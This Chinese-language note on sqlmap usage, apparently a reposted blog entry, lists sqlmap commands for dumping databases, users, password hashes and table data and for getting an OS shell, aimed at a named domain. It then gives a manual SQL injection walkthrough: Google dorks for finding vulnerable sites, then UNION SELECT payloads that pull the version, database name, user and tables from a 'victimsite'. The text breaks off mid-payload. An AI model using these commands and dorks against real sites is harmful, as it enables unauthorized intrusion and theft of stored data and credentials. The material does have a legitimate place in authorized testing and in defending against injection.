/sqlmap.py –h //查看帮助信息
./sqlmap.py –u “http://www.anti-x.net/inject.asp?id=injecthere” //get注入
./sqlmap.py –u “http://www.anti-x.net/inject.asp?id=injecthere” --data “DATA”//post注入
./sqlmap.py –u “http://www.anti-x.net/inject.asp?id=injecthere” --cookie “COOKIE”//修改请求时的cookie
./sqlmap.py –u “http://www.anti-x.net/inject.asp?id=injecthere” --dbs //列数据库
./sqlmap.py –u “http://www.anti-x.net/inject.asp?id=injecthere” –-users //列用户
./sqlmap.py –u “http://www.anti-x.net/inject.asp?id=injecthere” –-passwords //获取密码hash
./sqlmap.py –u “http://www.anti-x.net/inject.asp?id=injecthere” –-tables -D DB_NAME //列DB_NAME的表
./sqlmap.py –u “http://www.anti-x.net/inject.asp?id=injecthere” –-columns –T TB_NAME -D DB_NAME //读取TB_NAME中的列
./sqlmap.py –u “http://www.anti-x.net/inject.asp?id=injecthere” –-dump –C C1,C2,C3 –T TB_NAME -D DB_NAME //读字段C1,C2,C3数据
./sqlmap.py –u “http://www.anti-x.net/inject.asp?id=injecthere” –-os-shell //取得一个shell
第一步:搜索可能有漏洞的网站
Google 是很强大的,之前牛牛的帖子就已经提到了利用google收集信息。这里我们可以搜索的关键词很多,例如:
inurl:index.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:pageid=
网上有个术语,把这些称作“Google
Dorks”
如果想针对某个特定的网站,可以用类似的格式搜索:site: http:// www.victimsite.com
inurl:php?id=
第二步:检测一下目标是否有明显漏洞
搜索结果会出来一大堆,一个简单的测试方式是在Url末尾的数字后面加单引号或者加上 and
1=1 或者 1=2 看看界面是否有明显变化或者直接就给出SQL的报错语句了。
第三步:看看该表有多少个字段
这一步很简单,也容易理解,url后面加上order by number就行了,这个number可以随意输入,一般从小往大的尝试,比如12,3,4,5都能看见网页界面,然后6就报错了,那么很明显这个网页对应的表只有5个字段
比如当我输入1-4的时候是这个界面
第四步:找到有漏洞的字段
如果字段数目是7,那么可以用以下方式,注意数字改成负数
http://www.victimsite.com/index.php?id=-2union select 1,2,3,4,5,6,7—
或者
http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,3,4,5,6,7—
第五步:找到对应的版本号,数据库和用户
把上面的2换成对应的version(),database()和user()即可,例如
http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,version(),4,5,6,7—
http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,database(),4,5,6,7—
http://www.victimsite.com/index.php?id=-2and 1=2 union select 1,2,user(),4,5,6,7—
第六步:看看这个数据库下有哪些表
用group_concat(table_name)替换有漏洞的字段,然后后面加frominformation_schema.tables
where table_schema=database()
例如:http://www.victimsite.com/index.php?id=-2
and 1=2 unionselect 1,2,group_concat(table_name),4,5,6,7 from information_schema.tableswhere
sqlmap使用笔记,布布扣,bubuko.com
sqlmap使用笔记